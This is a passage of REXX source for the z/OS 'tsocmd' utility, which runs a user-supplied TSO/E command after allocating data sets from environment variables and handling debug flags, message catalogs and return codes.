/* Remove the debug-related characters from the command string */ 53 | /* so only work on command user specified without -d or -dd. */ 54 | If dbgLvl > 0 Then 55 | Do /* Do for have a debug level set. */ 56 | command = substr(command,(3 + dbgLvl)) 57 | End /* End Do for Have a debug level. */ 58 | End /* End Do for have command data. */ 59 | 60 | /* Check debug level for tracing and turn it on, do it here instead 61 | of in nested Ifs above so start tracing at start of main code. */ 62 | If dbgLvl > 1 Then Trace 'I' 63 | 64 | Call dbgInfo 'Input cmd = '||command /* If debugging echo command.*/ 65 | 66 | Call procEnvVar /* Process environment variables as 67 | appropriate. Control will not 68 | return if an error occurs. */ 69 | 70 | /* Echo the command string (mimics behavior of tso command code). 71 | Duplicate of debug information line above, but wanted that line 72 | to clearly call out that it was the input command, and wanted it 73 | first while the code I am mimicing has the command repeat just 74 | before the call to do the tso command work, and does not have 75 | any additional text. */ 76 | Call sendMsg 2,-1,command 77 | 78 | Address tso command /* Pass the input command argument 79 | to the TSO/E TMP facility. */ 80 | error = rc /* Save away the return code from 81 | the called TSO command. */ 82 | 83 | Select /* Process the return codes. */ 84 | When error = -3 Then /* Return code indicates TSO 85 | command was not found. */ 86 | Do /* Send appropriate error message.*/ 87 | Call sendMsg 2,5451,"tsocmd: TSO/E command ""%%"" not found.", 88 | ,command 89 | error = 255 /* Set return code to 255. */ 90 | End /* End Do for error = -3. */ 91 | When (error < 0) | (error > 254) 92 | Then /* Return code not a value which 93 | can be returned. */ 94 | Do /* Send appropriate error message.*/ 95 | Call sendMsg 2,5452, 96 | ,"tsocmd: Unexpected error occurred processing TSO/E command ""%%"", return code %%.", 97 | ,command,error 98 | error = 255 /* Set return code to 255. */ 99 | End /* End for error < 0 & > 254. */ 100 | Otherwise 101 | Do 102 | /* Do nothing, return tso command return code as is. Message 103 | should have been sent if there was an error. */ 104 | End 105 | End /* End select on return code. */ 106 | 107 | Call cleanup /* Call cleanup function. */ 108 | 109 | Call dbgInfo 'Return = '||error /* If debugging echo return code. */ 110 | 111 | Return error /* Return return code, if any. */ 112 | /* End of main code path */ 113 | 114 | /*-- START OF FUNCTION SPECIFICATIONS ----------------------------- 115 | // 116 | // Function Name : sendMsg 117 | // 118 | // Function Description: Sends a message to the specified file descriptor. 119 | // 120 | // Dependencies : catdesc has been defined for catalog descriptor, 121 | // it will be modified by a function that is 122 | // called by this function. 123 | // Any messages sent by this will use %% in the 124 | // messages to represent substitution variables. 125 | // 126 | // Restrictions : The maximum message limit is 4096 bytes. 127 | // Anything over that limit will be truncated. 128 | // 129 | // Input : filedesc - file descriptor to send message to 130 | // where we assume: 131 | // 1 = standard out (stdout) 132 | // 2 = standard error (stderr) 133 | // msgNum - message number from the catalog, specify 134 | // -1 to skip catalog processing 135 | // mtextin - message text to use if catalog 136 | // retrieve fails or if skipped catalog 137 | // arg(4-n)- substitution text for the message, 138 | // if any. 139 | // 140 | // Exit Normal 141 | // Return Value : None. 142 | // Outputs : Message is sent to the file descriptor. 143 | // 144 | // Exit Error 145 | // Return Value : None. 146 | // Outputs : Unknown. 147 | // 148 | // Notes : None. 149 | // 150 | //-- END OF SPECIFICATIONS --------------------------------------*/ 151 | sendMsg: Procedure expose dbgLvl catdesc ESC_N 152 | Parse arg filedesc, msgNum, mtextin /* Determine passed values */ 153 | 154 | If msgNum <> -1 Then /* Are we to work with catalog? */ 155 | Do /* Do for work with catalog. */ 156 | /* Set message text using message ID or default text, 157 | append a new line. */ 158 | mtext = getMsg(msgNum, mtextin) || ESC_N 159 | End /* End Do for work with catalog. */ 160 | Else /* Just use input data as is. */ 161 | Do /* Do for use input data as is. */ 162 | mtext = mtextin || ESC_N /* Set data to input data, append 163 | a new line. */ 164 | End /* End Do for use input data as is*/ 165 | 166 | /* Loop over the remaining substitution text, if any, replace 167 | the %%'s in message with substitution variables values. */ 168 | Do si = 4 to arg() 169 | Parse var mtext mtpref '%%' mtsuf /* Determine strings before 170 | and after the first %%. */ 171 | mtext = mtpref||arg(si)||mtsuf /* Change text to have before 172 | text, then substitution 173 | var value, then after. */ 174 | End /* End Do loop over subst vars. */ 175 | 176 | /* Write the data to the specified descriptor */ 177 | Address syscall "write " || filedesc || " mtext" 178 | 179 | Return 180 | 181 | /*-- START OF FUNCTION SPECIFICATIONS ----------------------------- 182 | // 183 | // Function Name : getMsg 184 | // 185 | // Function Description: Retrieves message from the message catalog or 186 | // returns input message if nothing found in the 187 | // catalog. 188 | // 189 | // Dependencies : catdesc has been defined for catalog descriptor, 190 | // it will be modified by this function. 191 | // 192 | // Restrictions : None. 193 | // 194 | // Input : msgNum - message number from the catalog 195 | // mtext - message text to use if catalog 196 | // retrieve fails 197 | // 198 | // Exit Normal 199 | // Return Value : Retrieved message text. 200 | // Outputs : Message text is retrieved. 201 | // 202 | // Exit Error 203 | // Return Value : Default message text which was passed in. 204 | // Outputs : Unknown. 205 | // 206 | // Notes : None. 207 | // 208 | //-- END OF SPECIFICATIONS --------------------------------------*/ 209 | getMsg: Procedure expose dbgLvl catdesc ESC_N 210 | Parse arg msgNum, mtext /* Determine passed values. */ 211 | mset = 1 /* Use this message set number 212 | for english.msf (all one set). */ 213 | 214 | /* If we have not already opened the message catalog, open it. */ 215 | If catdesc = -1 Then 216 | Do 217 | Address syscall "catopen fsumrcat.cat" /* Open message catalog*/ 218 | catdesc = retval /* Determine return value, -1 is 219 | returned if an error. */ 220 | 221 | /* Send out additional information on catopen if debug on. */ 222 | Call dbgInfo 'catopen request, return code = '|| retval 223 | End 224 | 225 | /* Retrieve the message information, if possible. */ 226 | If catdesc >= 0 Then 227 | Do 228 | Address syscall "catgets (catdesc) (mset) (msgNum) mtext" 229 | End 230 | 231 | /* Return message text from catalog or default */ 232 | Return mtext 233 | 234 | /*-- START OF FUNCTION SPECIFICATIONS ----------------------------- 235 | // 236 | // Function Name : cleanup 237 | // 238 | // Function Description: Cleanup any resources. 239 | // 240 | // Dependencies : catdesc has been defined for catalog descriptor, 241 | // it will be modified by this function. 242 | // 243 | // Restrictions : None. 244 | // 245 | // Input : None. 246 | // 247 | // Exit Normal 248 | // Return Value : None. 249 | // Outputs : Resources cleaned up. 250 | // 251 | // Exit Error 252 | // Return Value : None. 253 | // Outputs : Unknown. 254 | // 255 | // Notes : None. 256 | // 257 | //-- END OF SPECIFICATIONS --------------------------------------*/ 258 | cleanup: Procedure expose dbgLvl catdesc ESC_N 259 | 260 | If (catdesc <> -1) Then /* If we have opened the catalog */ 261 | Do 262 | Address syscall "catclose (catdesc)" /* Close the catalog */ 263 | catdesc = -1 /* Reset indicator */ 264 | End 265 | Return 266 | 267 | /*-- START OF FUNCTION SPECIFICATIONS ----------------------------- 268 | // 269 | // Function Name : usage 270 | // 271 | // Function Description: Display usage message and exit. 272 | // 273 | // Dependencies : None. 274 | // 275 | // Restrictions : None. 276 | // 277 | // Input : None. 278 | // 279 | // Exit Normal 280 | // Return Value : None. 281 | // Outputs : Usage message is displayed and program exits. 282 | // 283 | // Exit Error 284 | // Return Value : None. 285 | // Outputs : Unknown. 286 | // 287 | // Notes : None. 288 | // 289 | //-- END OF SPECIFICATIONS --------------------------------------*/ 290 | usage: Procedure expose dbgLvl catdesc ESC_N 291 | 292 | /* Send the usage message to standard error */ 293 | Call sendMsg 2,5450,"Usage: tsocmd [tsocommand]" 294 | 295 | Call cleanup /* Call cleanup function */ 296 | 297 | /* Exit the command with return code 255 */ 298 | Exit 255 299 | 300 | /*-- START OF FUNCTION SPECIFICATIONS ----------------------------- 301 | // 302 | // Function Name : procEnvVar 303 | // 304 | // Function Description: Process the following environment variables: 305 | // SYSEXEC 306 | // SYSPROC 307 | // TSOALLOC 308 | // TSOPROFILE 309 | // If there is an error while processing the 310 | // variables, control will not be returned to 311 | // the invoker. 312 | // 313 | // Dependencies : None. 314 | // 315 | // Restrictions : None. 316 | // 317 | // Input : None. 318 | // 319 | // Exit Normal 320 | // Return Value : None. 321 | // Outputs : Environment variable values have been processed. 322 | // 323 | // Exit Error 324 | // Return Value : None. 325 | // Outputs : Error message. 326 | // 327 | // Notes : The first usage of Address tso in this REXX 328 | // program will start a TSO 'environment'. All 329 | // subsequent Address tso calls will be working 330 | // in the same environment. This environment 331 | // will be active until the REXX program ends 332 | // which is why the processing which occurs in 333 | // this function will be in effect when the 334 | // users tso command is invoked in the main 335 | // code path. 336 | // 337 | //-- END OF SPECIFICATIONS --------------------------------------*/ 338 | procEnvVar: Procedure expose dbgLvl catdesc ESC_N 339 | 340 | Call dbgInfo 'Processing Environment Variables' 341 | 342 | /* Process the TSOALLOC, SYSEXEC, and SYSPROC Environment */ 343 | /* variables. Only process the SYSEXEC and SYSPROC variables */ 344 | /* if TSOALLOC has not been specified. */ 345 | If (1 = Environment('TSOALLOC',,'e')) Then /* Is the variable 346 | defined? */ 347 | Do /* Do for Variable is defined. */ 348 | /* Retrieve environment variable value. */ 349 | envvarInfo = Environment('TSOALLOC') 350 | Call dbgInfo 'Processing TSOALLOC ev = '||envvarInfo 351 | 352 | rtn = 0 /* Initialize return code. */ 353 | 354 | /* The TSOALLOC variable information is a series of environment 355 | variable names, separated by colons, 356 | which should be processed for data set allocations. */ 357 | 358 | /* Determine first piece of info, prior to first : or all of it 359 | if no : . */ 360 | Parse var envvarInfo infoBef ':' infoAft 361 | 362 | Do While infoBef <> ' ' /* While info still to process. */ 363 | /* Allocate data set according to data in associated */ 364 | /* variable. Increment return code as want to keep */ 365 | /* processing the allocations, but need to exit if had */ 366 | /* any failures. This behavior of continuing to process */ 367 | /* allocation requests even if we had one failure mimics */ 368 | /* the existing code in tso command and the Tools and Toys */ 369 | /* version of the tsocmd command. */ 370 | rtn = rtn + allocDataset(Environment(infoBef),infoBef) 371 | 372 | /* Determine next item to process */ 373 | Parse var infoAft infoBef ':' infoAft 374 | 375 | End /* End Do while on infoBef. */ 376 | 377 | If rtn > 0 Then /* Check allocDataset return value*/ 378 | Do 379 | /* Send failure message, indicate send message without 380 | a return code value, control does not return. */ 381 | Call sendEnvVarMsg 'TSOALLOC',0 382 | End /* End Do for non zero return code*/ 383 | End /* End Do for Variable is defined.*/ 384 | Else /* TSOALLOC is not defined. */ 385 | Do /* Do for TSOALLOC is not defined.*/ 386 | /* Process the SYSPROC environment variable. */ 387 | If (1 = Environment('SYSPROC',,'e')) Then /* Is the variable 388 | defined? */ 389 | Do /* Do for Variable is defined. */ 390 | /* Retrieve environment variable value. */ 391 | envvarInfo = Environment('SYSPROC') 392 | Call dbgInfo 'Processing SYSPROC ev = '||envvarInfo 393 | 394 | /* Process the information in the SYSPROC variable. */ 395 | rtn = allocDataset(envvarInfo,'SYSPROC') 396 | If rtn > 0 Then /* Any errors? */ 397 | Do 398 | /* Send failure message, indicate send message without 399 | a return code value, control does not return. */ 400 | Call sendEnvVarMsg 'SYSPROC',0 401 | End /* End Do for any errors. */ 402 | End /* End Do for variable is defined.*/ 403 | 404 | /* Process the SYSEXEC environment variable. */ 405 | If (1 = Environment('SYSEXEC',,'e')) Then /* Is the variable 406 | defined? */ 407 | Do /* Do for Variable is defined. */ 408 | /* Retrieve environment variable value. */ 409 | envvarInfo = Environment('SYSEXEC') 410 | Call dbgInfo 'Processing SYSEXEC ev = '||envvarInfo 411 | /* Process the information in the SYSEXEC variable */ 412 | rtn = allocDataset(envvarInfo,'SYSEXEC') 413 | If rtn > 0 Then /* Any errors? */ 414 | Do 415 | /* Send failure message, indicate send message without 416 | a return code value, control does not return. */ 417 | Call sendEnvVarMsg 'SYSEXEC',0 418 | End /* End Do for any errors. */ 419 | End /* End Do for variable is defined.*/ 420 | End /* End Do for TSOALLOC not defined*/ 421 | 422 | /* Process the TSOPROFILE Environment variable. */ 423 | If (1 = Environment('TSOPROFILE',,'e')) Then /* Is the variable 424 | defined? */ 425 | Do /* Do for Variable is defined. */ 426 | envvarInfo = Environment('TSOPROFILE') 427 | Call dbgInfo 'Processing TSOPROFILE ev = '||envvarInfo 428 | cmdString = 'profile '||envvarInfo /* Build command info. */ 429 | Address tso cmdString /* Process profile command. */ 430 | 431 | If rc <> 0 Then /* Check return value from 432 | address tso request. */ 433 | Do 434 | /* Echo the command string in this case (mimics behavior of 435 | tso command code). */ 436 | Call sendMsg 2,-1,cmdString 437 | /* Send failure message with a return code, control does 438 | not return. */ 439 | Call sendEnvVarMsg 'TSOPROFILE',rc 440 | End /* End Do for non zero return code*/ 441 | End /* End Do for variable is defined.*/ 442 | 443 | Return 444 | 445 | /*-- START OF FUNCTION SPECIFICATIONS ----------------------------- 446 | // 447 | // Function Name : allocDataset 448 | // 449 | // Function Description: Allocate data set with the specified 450 | // information. 451 | // 452 | // Dependencies : None. 453 | // 454 | // Restrictions : None. 455 | // 456 | // Input : names - allocation information for dd 457 | // dd - data set to be allocated 458 | // 459 | // Exit Normal 460 | // Return Value : 0 if allocation completed 461 | // 1 if allocation had an error 462 | // Outputs : Data set allocated as requested 463 | // 464 | // Exit Error 465 | // Return Value : 1 if allocation had an error 466 | // Outputs : Unknown 467 | // 468 | // Notes : None. 469 | // 470 | //-- END OF SPECIFICATIONS --------------------------------------*/ 471 | allocDataset: Procedure expose dbgLvl catdesc ESC_N 472 | Parse arg names, dd /* Determine passed values. */ 473 | 474 | /* If no value for the allocation information, then will allocate 475 | a dummy data set. */ 476 | If names = ' ' Then 477 | Do /* Do for no names value. */ 478 | /* Build command string for dummy allocation request. */ 479 | cmdString = "alloc dd("||dd||") dummy" 480 | Call dbgInfo 'Dummy allocation cmd = '||cmdString 481 | 482 | Address tso cmdString /* Process alloc command. */ 483 | If rc <> 0 Then /* Check return value from 484 | address tso request. */ 485 | Do /* Do for non zero return code. */ 486 | /* Send informational failure message. */ 487 | Call sendMsg 2,5455, 488 | ,"tsocmd: Data set not allocated to %%: %%, return code %%.", 489 | ,dd,"dummy",rc 490 | Return 1 /* Return indicating failure. */ 491 | End /* End Do for non zero return code*/ 492 | Else 493 | Return 0 /* Return indicating success. */ 494 | End /* End Do for no names value. */ 495 | 496 | /* Grab first part of names field, and upper case it so can 497 | determine if direct ALLOC request. Also ensure the ALLOC is 498 | followed by a blank. This must be done as two separate checks 499 | where the blanks is specifically checked on its own. */ 500 | If (translate(substr(names,1,5)) = 'ALLOC' & (substr(names,6,1)=' ')) 501 | Then 502 | Do /* Do for alloc request. */ 503 | /* Build command string with specified alloc information. */ 504 | cmdString = "alloc dd("||dd||") "||substr(names,7) 505 | Call dbgInfo 'ALLOC allocation cmd = '||cmdString 506 | 507 | Address tso cmdString /* Process alloc command. */ 508 | If rc <> 0 Then /* Check return value from 509 | address tso request. */ 510 | Do /* Do for non zero return code. */ 511 | /* Send informational failure message. */ 512 | Call sendMsg 2,5456, 513 | ,"tsocmd: Data set not allocated for DD %% with command ""%%"", return code %%.", 514 | ,dd,cmdString,rc 515 | Return 1 /* Return indicating failure. */ 516 | End /* End Do for non zero return code*/ 517 | Else 518 | Return 0 /* Return indicating success. */ 519 | End /* End Do for alloc request. */ 520 | 521 | /* If not dummy or direct ALLOC request, then process the 522 | string for information to specify on ALLOC request. */ 523 | 524 | /* Determine first piece of info, prior to first : or all of it 525 | if no : . */ 526 | Parse var names dsnBef ':' dsnAft 527 | delim = '' /* This will be needed to build 528 | dslist if more than one, start 529 | with blank. */ 530 | dslist = '' /* Start list with blanks. */ 531 | msgdslist = '' /* Start message list with blanks */ 532 | /* Need to loop over names in order to process concatenation. */ 533 | Do While dsnBef <> ' ' /* While info still to process. */ 534 | /* Append data set name to list of data sets, put quotes around 535 | dslist entries so no prefix work will occur, matches tso 536 | command behavior. */ 537 | dslist = dslist||delim||''''||dsnBef||'''' 538 | /* Create list of data sets without quotes, in case need to send 539 | a message so we can mimic message presentation of the tso 540 | command. */ 541 | msgdslist = msgdslist||delim||dsnBef 542 | 543 | /* Determine next item to process */ 544 | Parse var dsnAft dsnBef ':' dsnAft 545 | 546 | delim = ',' /* Reset delimiter to comma for 547 | additional data sets. */ 548 | End /* End Do while on infoBef. */ 549 | 550 | /* Set up command string with created data set list. This */ 551 | /* request (e.g. usage of shr) mimics the request in the tso */ 552 | /* command and Tools and Toys version of tsocmd command. */ 553 | cmdString = 'alloc dd('||dd||') dsname('||dslist||') shr' 554 | Call dbgInfo 'Other allocation cmd = '||cmdString 555 | 556 | Address tso cmdString /* Process alloc command. */ 557 | If rc <> 0 Then /* Check return value from 558 | address tso request. */ 559 | Do /* Do for non zero return code. */ 560 | /* Send informational failure message. */ 561 | Call sendMsg 2,5455, 562 | ,"tsocmd: Data set not allocated to %%: %%, return code %%.", 563 | ,dd,msgdslist,rc 564 | Return 1 /* Return indicating failure. */ 565 | End /* End Do for non zero return code*/ 566 | Else 567 | Return 0 /* Return indicating success. */ 568 | 569 | Return 0 /* Should never get here. */ 570 | 571 | /*-- START OF FUNCTION SPECIFICATIONS ----------------------------- 572 | // 573 | // Function Name : sendEnvVarMsg 574 | // 575 | // Function Description: Send the appropriate common environment variable 576 | // message and then exit with 255 return code. 577 | // 578 | // Dependencies : None. 579 | // 580 | // Restrictions : None. 581 | // 582 | // Input : envvarin - environment variable name 583 | // to be put in the message 584 | // rcin - return code value to be put in 585 | // the message. If this is 0, then 586 | // send message without return code. 587 | // 588 | // Exit Normal 589 | // Return Value : None. 590 | // Outputs : Environment variable failure message is 591 | // displayed and the program exits. 592 | // 593 | // Exit Error 594 | // Return Value : None. 595 | // Outputs : Unknown. 596 | // 597 | // Notes : None. 598 | // 599 | //-- END OF SPECIFICATIONS --------------------------------------*/ 600 | sendEnvVarMsg: Procedure expose dbgLvl catdesc ESC_N 601 | Parse arg envvarin, rcin /* Determine passed values. */ 602 | 603 | /* Send failure message with specified environment variable value. */ 604 | If rcin = 0 Then 605 | Do /* No return code to specify. */ 606 | Call sendMsg 2,5454, 607 | ,"tsocmd: Unexpected error occurred processing environment variable ""%%"".", 608 | ,envvarin 609 | End 610 | Else 611 | Do /* Have return code to specify. */ 612 | Call sendMsg 2,5453, 613 | ,"tsocmd: Unexpected error occurred processing environment variable ""%%"", return code %%.", 614 | ,envvarin,rcin 615 | End 616 | 617 | Call cleanup /* Call cleanup function. */ 618 | Exit 255 619 | 620 | /*-- START OF FUNCTION SPECIFICATIONS ----------------------------- 621 | // 622 | // Function Name : dbgInfo 623 | // 624 | // Function Description: Writes out information according to debug level. 625 | // 626 | // Dependencies : dbgLvl has been set. 627 | // 628 | // Restrictions : None. 629 | // 630 | // Input : info - information to write if requested 631 | // 632 | // Exit Normal 633 | // Return Value : None. 634 | // Outputs : Information is written to standard error. 635 | // 636 | // Exit Error 637 | // Return Value : None. 638 | // Outputs : Unknown. 639 | // 640 | // Notes : None. 641 | // 642 | //-- END OF SPECIFICATIONS --------------------------------------*/ 643 | dbgInfo: Procedure expose dbgLvl catdesc ESC_N 644 | Parse arg info /* Determine passed value. */ 645 | 646 | /* Determine if need to send debug information. */ 647 | If dbgLvl > 0 Then 648 | Call sendMsg 2,-1,info /* Send information; indicate to 649 | do no catalog work. */ 650 | Return 651 | 652 | /*-- START OF FUNCTION SPECIFICATIONS ----------------------------- 653 | // 654 | // Function Name : checkDebug 655 | // 656 | // Function Description: Determine debug level if any. 657 | // 658 | // Dependencies : None. 659 | // 660 | // Restrictions : None. 661 | // 662 | // Input : cmdInput - information passed to tsocmd 663 | // 664 | // Exit Normal 665 | // Return Value : 0,1 or 2 for debug level 666 | // Outputs : None. 667 | // 668 | // Exit Error 669 | // Return Value : None. 670 | // Outputs : Unknown. 671 | // 672 | // Notes : Only looking for -d and -dd options. 673 | // 674 | //-- END OF SPECIFICATIONS --------------------------------------*/ 675 | checkDebug: Procedure expose dbgLvl catdesc ESC_N 676 | Parse arg cmdInput /* Determine passed value. */ 677 | rtnDbg = 0 /* Init return to 0. */ 678 | 679 | /* Was -dd specified (followed by blank)? This must be done as two 680 | separate checks where the blanks is specifically checked on its 681 | own. */ 682 | If ((substr(cmdInput,1,3) = '-dd') & (substr(cmdInput,4,1) = ' ')) 683 | Then rtnDbg = 2 /* Set debug level to get tracing 684 | and debug messages. */ 685 | Else 686 | Do 687 | /* Was -d specified (followed by blank)? This must be done as 688 | two separate checks where the blanks is specifically checked 689 | on its own. */ 690 | If ((substr(cmdInput,1,2) = '-d') & (substr(cmdInput,3,1) = ' ')) 691 | Then rtnDbg = 1 /* Set debug level to get debug 692 | messages. */ 693 | End 694 | Return rtnDbg 695 | /* Must always end source with new line */ 696 | 697 | --------------------------------------------------------------------------------